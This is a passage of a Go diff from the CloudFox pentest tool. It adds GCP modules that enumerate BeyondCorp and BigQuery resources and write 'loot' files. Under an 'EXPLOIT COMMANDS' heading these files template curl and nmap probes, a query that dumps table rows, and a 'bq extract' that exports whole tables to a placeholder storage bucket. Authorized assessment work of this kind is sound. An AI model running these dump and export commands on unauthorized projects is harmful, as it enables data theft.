"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPBeyondCorpCommand = &cobra.Command{
|
||||
Use: globals.GCP_BEYONDCORP_MODULE_NAME,
|
||||
Aliases: []string{"bc", "zero-trust"},
|
||||
Short: "Enumerate BeyondCorp Enterprise configurations",
|
||||
Long: `Enumerate BeyondCorp Enterprise configurations.
|
||||
|
||||
Features:
|
||||
- Lists app connectors and connections
|
||||
- Analyzes connection endpoints
|
||||
- Identifies configuration issues`,
|
||||
Run: runGCPBeyondCorpCommand,
|
||||
}
|
||||
|
||||
type BeyondCorpModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectAppConnectors map[string][]beyondcorpservice.AppConnectorInfo // projectID -> connectors
|
||||
ProjectAppConnections map[string][]beyondcorpservice.AppConnectionInfo // projectID -> connections
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type BeyondCorpOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o BeyondCorpOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o BeyondCorpOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPBeyondCorpCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &BeyondCorpModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectAppConnectors: make(map[string][]beyondcorpservice.AppConnectorInfo),
|
||||
ProjectAppConnections: make(map[string][]beyondcorpservice.AppConnectionInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_BEYONDCORP_MODULE_NAME, m.processProject)
|
||||
|
||||
allConnectors := m.getAllConnectors()
|
||||
allConnections := m.getAllConnections()
|
||||
|
||||
totalCount := len(allConnectors) + len(allConnections)
|
||||
if totalCount == 0 {
|
||||
logger.InfoM("No BeyondCorp resources found", globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count public resources
|
||||
publicConnectorCount := 0
|
||||
publicConnectionCount := 0
|
||||
for _, connector := range allConnectors {
|
||||
if connector.PublicAccess {
|
||||
publicConnectorCount++
|
||||
}
|
||||
}
|
||||
for _, conn := range allConnections {
|
||||
if conn.PublicAccess {
|
||||
publicConnectionCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d connector(s), %d connection(s)",
|
||||
len(allConnectors), len(allConnections)),
|
||||
globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
|
||||
if publicConnectorCount > 0 || publicConnectionCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d public connector(s), %d public connection(s)!",
|
||||
publicConnectorCount, publicConnectionCount), globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) getAllConnectors() []beyondcorpservice.AppConnectorInfo {
|
||||
var all []beyondcorpservice.AppConnectorInfo
|
||||
for _, connectors := range m.ProjectAppConnectors {
|
||||
all = append(all, connectors...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) getAllConnections() []beyondcorpservice.AppConnectionInfo {
|
||||
var all []beyondcorpservice.AppConnectionInfo
|
||||
for _, connections := range m.ProjectAppConnections {
|
||||
all = append(all, connections...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating BeyondCorp in project: %s", projectID), globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
}
|
||||
|
||||
svc := beyondcorpservice.New()
|
||||
|
||||
m.mu.Lock()
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["beyondcorp-details"] = &internal.LootFile{
|
||||
Name: "beyondcorp-details",
|
||||
Contents: "# BeyondCorp Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// Get app connectors
|
||||
connectors, err := svc.ListAppConnectors(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_BEYONDCORP_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list app connectors in project %s", projectID))
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.ProjectAppConnectors[projectID] = connectors
|
||||
for _, connector := range connectors {
|
||||
m.addConnectorToLoot(projectID, connector)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// Get app connections
|
||||
connections, err := svc.ListAppConnections(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_BEYONDCORP_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list app connections in project %s", projectID))
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.ProjectAppConnections[projectID] = connections
|
||||
for _, conn := range connections {
|
||||
m.addConnectionToLoot(projectID, conn)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) addConnectionToLoot(projectID string, conn beyondcorpservice.AppConnectionInfo) {
|
||||
lootFile := m.LootMap[projectID]["beyondcorp-details"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# CONNECTION: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Location: %s\n"+
|
||||
"# State: %s\n"+
|
||||
"# Endpoint: %s\n"+
|
||||
"# Gateway: %s\n"+
|
||||
"# Connectors: %s\n",
|
||||
conn.Name, conn.ProjectID, conn.Location, conn.State,
|
||||
conn.ApplicationEndpoint, conn.Gateway, strings.Join(conn.Connectors, ", "))
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# === ENUMERATION COMMANDS ===
|
||||
|
||||
# Describe this app connection:
|
||||
gcloud beta beyondcorp app connections describe %s --location=%s --project=%s
|
||||
|
||||
# List IAM policy for this connection:
|
||||
gcloud beta beyondcorp app connections get-iam-policy %s --location=%s --project=%s
|
||||
|
||||
# List all app connectors in the project:
|
||||
gcloud beta beyondcorp app connectors list --location=%s --project=%s
|
||||
|
||||
# List all app connections in the project:
|
||||
gcloud beta beyondcorp app connections list --location=%s --project=%s
|
||||
|
||||
`, conn.Name, conn.Location, conn.ProjectID,
|
||||
conn.Name, conn.Location, conn.ProjectID,
|
||||
conn.Location, conn.ProjectID,
|
||||
conn.Location, conn.ProjectID)
|
||||
|
||||
// Exploitation commands
|
||||
if conn.ApplicationEndpoint != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# === EXPLOIT COMMANDS ===\n\n"+
|
||||
"# Test connectivity to application endpoint:\n"+
|
||||
"curl -v %s\n\n"+
|
||||
"# Scan endpoint for open ports (if IP-based):\n"+
|
||||
"nmap -sV %s\n\n",
|
||||
conn.ApplicationEndpoint, conn.ApplicationEndpoint)
|
||||
}
|
||||
|
||||
if conn.PublicAccess {
|
||||
lootFile.Contents += "# [FINDING] This connection has PUBLIC access!\n" +
|
||||
"# Check IAM bindings for allUsers/allAuthenticatedUsers\n\n"
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) addConnectorToLoot(projectID string, connector beyondcorpservice.AppConnectorInfo) {
|
||||
lootFile := m.LootMap[projectID]["beyondcorp-details"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# CONNECTOR: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Location: %s\n"+
|
||||
"# State: %s\n"+
|
||||
"# Service Account: %s\n",
|
||||
connector.Name, connector.ProjectID, connector.Location,
|
||||
connector.State, connector.PrincipalInfo)
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# Describe this connector:
|
||||
gcloud beta beyondcorp app connectors describe %s --location=%s --project=%s
|
||||
|
||||
# Get IAM policy for this connector:
|
||||
gcloud beta beyondcorp app connectors get-iam-policy %s --location=%s --project=%s
|
||||
|
||||
`, connector.Name, connector.Location, connector.ProjectID,
|
||||
connector.Name, connector.Location, connector.ProjectID)
|
||||
|
||||
if connector.PublicAccess {
|
||||
lootFile.Contents += "# [FINDING] This connector has PUBLIC access!\n\n"
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) getConnectorsHeader() []string {
|
||||
return []string{"Project", "Name", "Location", "State", "Service Account", "IAM Binding Role", "IAM Binding Principal", "Public"}
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) getConnectionsHeader() []string {
|
||||
return []string{"Project", "Name", "Location", "State", "Endpoint", "Gateway", "IAM Binding Role", "IAM Binding Principal", "Public"}
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) connectorsToTableBody(connectors []beyondcorpservice.AppConnectorInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, connector := range connectors {
|
||||
publicAccess := "No"
|
||||
if connector.PublicAccess {
|
||||
publicAccess = "Yes"
|
||||
}
|
||||
|
||||
if len(connector.IAMBindings) == 0 {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(connector.ProjectID),
|
||||
connector.Name,
|
||||
connector.Location,
|
||||
connector.State,
|
||||
connector.PrincipalInfo,
|
||||
"-",
|
||||
"-",
|
||||
publicAccess,
|
||||
})
|
||||
} else {
|
||||
for _, binding := range connector.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(connector.ProjectID),
|
||||
connector.Name,
|
||||
connector.Location,
|
||||
connector.State,
|
||||
connector.PrincipalInfo,
|
||||
binding.Role,
|
||||
member,
|
||||
publicAccess,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) connectionsToTableBody(connections []beyondcorpservice.AppConnectionInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, conn := range connections {
|
||||
publicAccess := "No"
|
||||
if conn.PublicAccess {
|
||||
publicAccess = "Yes"
|
||||
}
|
||||
|
||||
if len(conn.IAMBindings) == 0 {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(conn.ProjectID),
|
||||
conn.Name,
|
||||
conn.Location,
|
||||
conn.State,
|
||||
conn.ApplicationEndpoint,
|
||||
conn.Gateway,
|
||||
"-",
|
||||
"-",
|
||||
publicAccess,
|
||||
})
|
||||
} else {
|
||||
for _, binding := range conn.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(conn.ProjectID),
|
||||
conn.Name,
|
||||
conn.Location,
|
||||
conn.State,
|
||||
conn.ApplicationEndpoint,
|
||||
conn.Gateway,
|
||||
binding.Role,
|
||||
member,
|
||||
publicAccess,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if connectors, ok := m.ProjectAppConnectors[projectID]; ok && len(connectors) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "beyondcorp-connectors",
|
||||
Header: m.getConnectorsHeader(),
|
||||
Body: m.connectorsToTableBody(connectors),
|
||||
})
|
||||
}
|
||||
|
||||
if connections, ok := m.ProjectAppConnections[projectID]; ok && len(connections) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "beyondcorp-connections",
|
||||
Header: m.getConnectionsHeader(),
|
||||
Body: m.connectionsToTableBody(connections),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Get all project IDs that have data
|
||||
projectIDs := make(map[string]bool)
|
||||
for projectID := range m.ProjectAppConnectors {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectAppConnections {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectIDs {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = BeyondCorpOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allConnectors := m.getAllConnectors()
|
||||
allConnections := m.getAllConnections()
|
||||
|
||||
var tables []internal.TableFile
|
||||
|
||||
if len(allConnectors) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "beyondcorp-connectors",
|
||||
Header: m.getConnectorsHeader(),
|
||||
Body: m.connectorsToTableBody(allConnectors),
|
||||
})
|
||||
}
|
||||
|
||||
if len(allConnections) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "beyondcorp-connections",
|
||||
Header: m.getConnectionsHeader(),
|
||||
Body: m.connectionsToTableBody(allConnections),
|
||||
})
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := BeyondCorpOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
+449
-99
@@ -1,134 +1,484 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
BigQueryService "github.com/BishopFox/cloudfox/gcp/services/bigqueryService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPBigQueryCommand = &cobra.Command{
|
||||
Use: "bigquery",
|
||||
Aliases: []string{},
|
||||
Short: "Display Bigquery datasets and tables information",
|
||||
Args: cobra.MinimumNArgs(0),
|
||||
Long: `
|
||||
Display available Bigquery datasets and tables resource information:
|
||||
cloudfox gcp bigquery`,
|
||||
Use: globals.GCP_BIGQUERY_MODULE_NAME,
|
||||
Aliases: []string{"bq"},
|
||||
Short: "Enumerate GCP BigQuery datasets and tables with security analysis",
|
||||
Long: `Enumerate GCP BigQuery datasets and tables across projects with security-focused analysis.
|
||||
|
||||
Features:
|
||||
- Lists all BigQuery datasets with security-relevant columns
|
||||
- Shows tables within each dataset with encryption and type info
|
||||
- Enumerates dataset access control entries (IAM-like)
|
||||
- Identifies publicly accessible datasets (allUsers/allAuthenticatedUsers)
|
||||
- Shows encryption status (Google-managed vs CMEK)
|
||||
- Generates bq commands for data enumeration
|
||||
- Generates exploitation commands for data access`,
|
||||
Run: runGCPBigQueryCommand,
|
||||
}
|
||||
|
||||
// GCPBigQueryResults struct that implements the internal.OutputInterface
|
||||
type GCPBigQueryResults struct {
|
||||
DatasetsData []BigQueryService.BigqueryDataset
|
||||
TablesData []BigQueryService.BigqueryTable
|
||||
// ------------------------------
|
||||
// Module Struct with embedded BaseGCPModule
|
||||
// ------------------------------
|
||||
type BigQueryModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Per-project data for hierarchical output
|
||||
ProjectDatasets map[string][]BigQueryService.BigqueryDataset
|
||||
ProjectTables map[string][]BigQueryService.BigqueryTable
|
||||
LootMap map[string]map[string]*internal.LootFile
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// Define the format for CSV & JSON output
|
||||
func (g GCPBigQueryResults) TableFiles() []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
// For Datasets
|
||||
datasetHeader := []string{"Name", "DatasetID", "Description", "CreationTime", "LastModifiedTime", "Location", "ProjectID"}
|
||||
var datasetBody [][]string
|
||||
for _, dataset := range g.DatasetsData {
|
||||
datasetBody = append(datasetBody, []string{
|
||||
dataset.Name,
|
||||
dataset.DatasetID,
|
||||
dataset.Description,
|
||||
dataset.CreationTime.Format(time.RFC3339),
|
||||
dataset.LastModifiedTime.Format(time.RFC3339),
|
||||
dataset.Location,
|
||||
dataset.ProjectID,
|
||||
})
|
||||
}
|
||||
datasetTableFile := internal.TableFile{
|
||||
Header: datasetHeader,
|
||||
Body: datasetBody,
|
||||
Name: "bigquery-datasets",
|
||||
}
|
||||
tableFiles = append(tableFiles, datasetTableFile)
|
||||
|
||||
// For Tables
|
||||
tableHeader := []string{"TableID", "DatasetID", "Description", "CreationTime", "LastModifiedTime", "NumBytes", "Location", "ProjectID"}
|
||||
var tableBody [][]string
|
||||
for _, table := range g.TablesData {
|
||||
tableBody = append(tableBody, []string{
|
||||
table.TableID,
|
||||
table.DatasetID,
|
||||
table.Description,
|
||||
table.CreationTime.Format(time.RFC3339),
|
||||
table.LastModifiedTime.Format(time.RFC3339),
|
||||
fmt.Sprintf("%d", table.NumBytes),
|
||||
table.Location,
|
||||
table.ProjectID,
|
||||
})
|
||||
}
|
||||
tableTableFile := internal.TableFile{
|
||||
Header: tableHeader,
|
||||
Body: tableBody,
|
||||
Name: "bigquery-tables",
|
||||
}
|
||||
tableFiles = append(tableFiles, tableTableFile)
|
||||
|
||||
return tableFiles
|
||||
// ------------------------------
|
||||
// Output Struct implementing CloudfoxOutput interface
|
||||
// ------------------------------
|
||||
type BigQueryOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (g GCPBigQueryResults) LootFiles() []internal.LootFile {
|
||||
// Implement if there's specific data considered as loot
|
||||
return []internal.LootFile{}
|
||||
}
|
||||
func (o BigQueryOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o BigQueryOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPBigQueryCommand(cmd *cobra.Command, args []string) {
|
||||
var projectIDs []string
|
||||
var account string
|
||||
parentCmd := cmd.Parent()
|
||||
ctx := cmd.Context()
|
||||
logger := internal.NewLogger()
|
||||
if value, ok := ctx.Value("projectIDs").([]string); ok && len(value) > 0 {
|
||||
projectIDs = value
|
||||
} else {
|
||||
logger.ErrorM("Could not retrieve projectIDs from flag value or value is empty", globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
// Initialize command context
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
if err != nil {
|
||||
return // Error already logged
|
||||
}
|
||||
|
||||
// Create module instance
|
||||
module := &BigQueryModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectDatasets: make(map[string][]BigQueryService.BigqueryDataset),
|
||||
ProjectTables: make(map[string][]BigQueryService.BigqueryTable),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
// Execute enumeration
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *BigQueryModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Run enumeration with concurrency
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_BIGQUERY_MODULE_NAME, m.processProject)
|
||||
|
||||
// Get all data for stats
|
||||
allDatasets := m.getAllDatasets()
|
||||
allTables := m.getAllTables()
|
||||
|
||||
// Check results
|
||||
if len(allDatasets) == 0 && len(allTables) == 0 {
|
||||
logger.InfoM("No BigQuery datasets found", globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
if value, ok := ctx.Value("account").(string); ok {
|
||||
account = value
|
||||
} else {
|
||||
logger.ErrorM("Could not retrieve account email from command", globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
logger.SuccessM(fmt.Sprintf("Found %d dataset(s) with %d table(s)", len(allDatasets), len(allTables)), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
|
||||
// Write output
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllDatasets returns all datasets from all projects
|
||||
func (m *BigQueryModule) getAllDatasets() []BigQueryService.BigqueryDataset {
|
||||
var all []BigQueryService.BigqueryDataset
|
||||
for _, datasets := range m.ProjectDatasets {
|
||||
all = append(all, datasets...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllTables returns all tables from all projects
|
||||
func (m *BigQueryModule) getAllTables() []BigQueryService.BigqueryTable {
|
||||
var all []BigQueryService.BigqueryTable
|
||||
for _, tables := range m.ProjectTables {
|
||||
all = append(all, tables...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor (called concurrently for each project)
|
||||
// ------------------------------
|
||||
func (m *BigQueryModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating BigQuery in project: %s", projectID), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Create service and fetch data
|
||||
bqService := BigQueryService.New()
|
||||
var datasetsResults []BigQueryService.BigqueryDataset
|
||||
var tablesResults []BigQueryService.BigqueryTable
|
||||
result, err := bqService.BigqueryDatasetsAndTables(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_BIGQUERY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate BigQuery in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
// Set output params leveraging parent (gcp) pflag values
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectDatasets[projectID] = result.Datasets
|
||||
m.ProjectTables[projectID] = result.Tables
|
||||
|
||||
for _, projectID := range projectIDs {
|
||||
logger.InfoM(fmt.Sprintf("Retrieving BigQuery datasets and tables from project: %s", projectID), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
result, err := bqService.BigqueryDatasetsAndTables(projectID)
|
||||
if err != nil {
|
||||
logger.ErrorM(err.Error(), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
return
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["bigquery-commands"] = &internal.LootFile{
|
||||
Name: "bigquery-commands",
|
||||
Contents: "# GCP BigQuery Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
datasetsResults = append(datasetsResults, result.Datasets...)
|
||||
tablesResults = append(tablesResults, result.Tables...)
|
||||
cloudfoxOutput := GCPBigQueryResults{DatasetsData: datasetsResults, TablesData: tablesResults}
|
||||
// Generate loot for each dataset and table
|
||||
for _, dataset := range result.Datasets {
|
||||
m.addDatasetToLoot(projectID, dataset)
|
||||
}
|
||||
for _, table := range result.Tables {
|
||||
m.addTableToLoot(projectID, table)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
err = internal.HandleOutput("gcp", format, outputDirectory, verbosity, wrap, globals.GCP_BIGQUERY_MODULE_NAME, account, projectID, cloudfoxOutput)
|
||||
if err != nil {
|
||||
logger.ErrorM(err.Error(), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
return
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d dataset(s) and %d table(s) in project %s", len(result.Datasets), len(result.Tables), projectID), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *BigQueryModule) addDatasetToLoot(projectID string, dataset BigQueryService.BigqueryDataset) {
|
||||
lootFile := m.LootMap[projectID]["bigquery-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// All commands for this dataset
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# DATASET: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s, Location: %s\n\n"+
|
||||
"# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Show dataset info\n"+
|
||||
"bq show --project_id=%s %s\n"+
|
||||
"bq show --format=prettyjson %s:%s\n\n"+
|
||||
"# List tables in dataset\n"+
|
||||
"bq ls --project_id=%s %s\n\n",
|
||||
dataset.DatasetID, dataset.ProjectID, dataset.Location,
|
||||
dataset.ProjectID, dataset.DatasetID,
|
||||
dataset.ProjectID, dataset.DatasetID,
|
||||
dataset.ProjectID, dataset.DatasetID,
|
||||
)
|
||||
}
|
||||
|
||||
func (m *BigQueryModule) addTableToLoot(projectID string, table BigQueryService.BigqueryTable) {
|
||||
lootFile := m.LootMap[projectID]["bigquery-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Table info and query commands
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# TABLE: %s.%s (Dataset: %s)\n"+
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Type: %s, Size: %d bytes, Rows: %d\n\n"+
|
||||
"# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Show table schema:\n"+
|
||||
"bq show --schema --project_id=%s %s:%s.%s\n\n"+
|
||||
"# === EXPLOIT COMMANDS ===\n\n"+
|
||||
"# Query first 100 rows:\n"+
|
||||
"bq query --project_id=%s --use_legacy_sql=false 'SELECT * FROM `%s.%s.%s` LIMIT 100'\n"+
|
||||
"# Export table to GCS:\n"+
|
||||
"bq extract --project_id=%s '%s:%s.%s' gs://<bucket>/export_%s_%s.json\n\n",
|
||||
table.DatasetID, table.TableID, table.DatasetID,
|
||||
table.ProjectID,
|
||||
table.TableType, table.NumBytes, table.NumRows,
|
||||
table.ProjectID, table.ProjectID, table.DatasetID, table.TableID,
|
||||
